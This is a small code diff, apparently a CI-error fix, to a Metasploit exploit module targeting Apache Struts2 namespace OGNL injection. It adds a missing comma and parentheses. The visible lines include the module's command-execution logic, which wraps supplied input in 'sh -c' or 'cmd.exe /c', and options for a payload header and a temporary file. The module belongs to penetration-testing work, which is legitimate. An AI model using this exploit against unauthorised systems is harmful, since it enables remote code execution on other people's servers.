Address travis errors: Updated metadata and target OS logic

modules/exploits/multi/http/struts2_namespace_ognl.rb

@@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
       )
       register_advanced_options(
         [
-          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
+          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
           OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
           OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
         ]
@@ -253,7 +253,7 @@ class MetasploitModule < Msf::Exploit::Remote
     properties = profile_target
 
     os = properties[:'os.name'].downcase
-    if os.include? 'linux' || os.include? 'nix'
+    if (os.include? 'linux') || (os.include? 'nix')
       cmd = "{'sh','-c','#{cmd_input}'}"
     elsif os.include? 'win'
       cmd = "{'cmd.exe','/c','#{cmd_input}'}"
@@ -293,7 +293,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if os.include? 'win'
       fail_with(Failure::NoTarget, "Windows currently unsupported.")
       #execute_cmdstager(flavor: :vbs)
-    elsif os.include? 'linux' || os.include? 'nix'
+    elsif (os.include? 'linux') || (os.include? 'nix')
       # cool.  Keep going
     else
       print_error("Unrecognized operating system.")